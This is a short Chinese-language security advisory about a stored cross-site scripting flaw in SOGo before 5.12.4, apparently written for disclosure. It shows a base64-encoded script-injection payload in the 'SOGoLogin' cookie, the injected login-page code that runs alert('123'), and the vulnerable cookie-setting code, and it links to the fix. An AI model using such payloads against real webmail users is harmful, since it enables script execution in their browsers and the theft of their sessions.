研究者: Daniil Khomichenok, Alexander Klimenko
受影响版本 < 5.12.4 ( https://github.com/Alinto/sogo/releases/tag/SOGo-5.12.4 )
日期: 01.10.2025
当启用 "记住用户名" 功能时,浏览器 cookie 中会添加一个 base64 编码的字段。
该值取自对 /SOGo/connect 端点的 POST 请求中的 "userName" 参数。
服务器响应包含 base64 编码的 XSS payload 并设置 cookie:
Set-Cookie: SOGoLogin=dGVzdDIyMkBxYXRlc3Qub2YuYnk8L3NjcmlwdD48c2NyaXB0PmFsZXJ0KCcxMjMnKTwvc2NyaXB0Pg%3D%3D; expires=Sun, 02-Nov-2025 09:58:23 GMT;
向 POST 请求的 "userName" 参数添加以下值:
其中包含一个 JavaScript 注入,当用户重新访问认证页面时会被执行,并存储在用户浏览器的 "SOGoLogin" cookie 中。
包含注入的认证页面代码:
<script type="text/javascript">
var cookieUsername = "[email protected]</script><script>alert('123')</script>";
var language = 'English';
var loginHint = ''
</script>
接受 XSS 注入作为参数值的登录 remember set-cookie 代码:
if (rememberLogin)
[response addCookie: [self _cookieWithUsername: [params objectForKey: @"userName"]]];
else
[response addCookie: [self _cookieWithUsername: nil]];
修复: https://github.com/Alinto/sogo/commit/9e20190fad1a437f7e1307f0adcfe19a8d45184c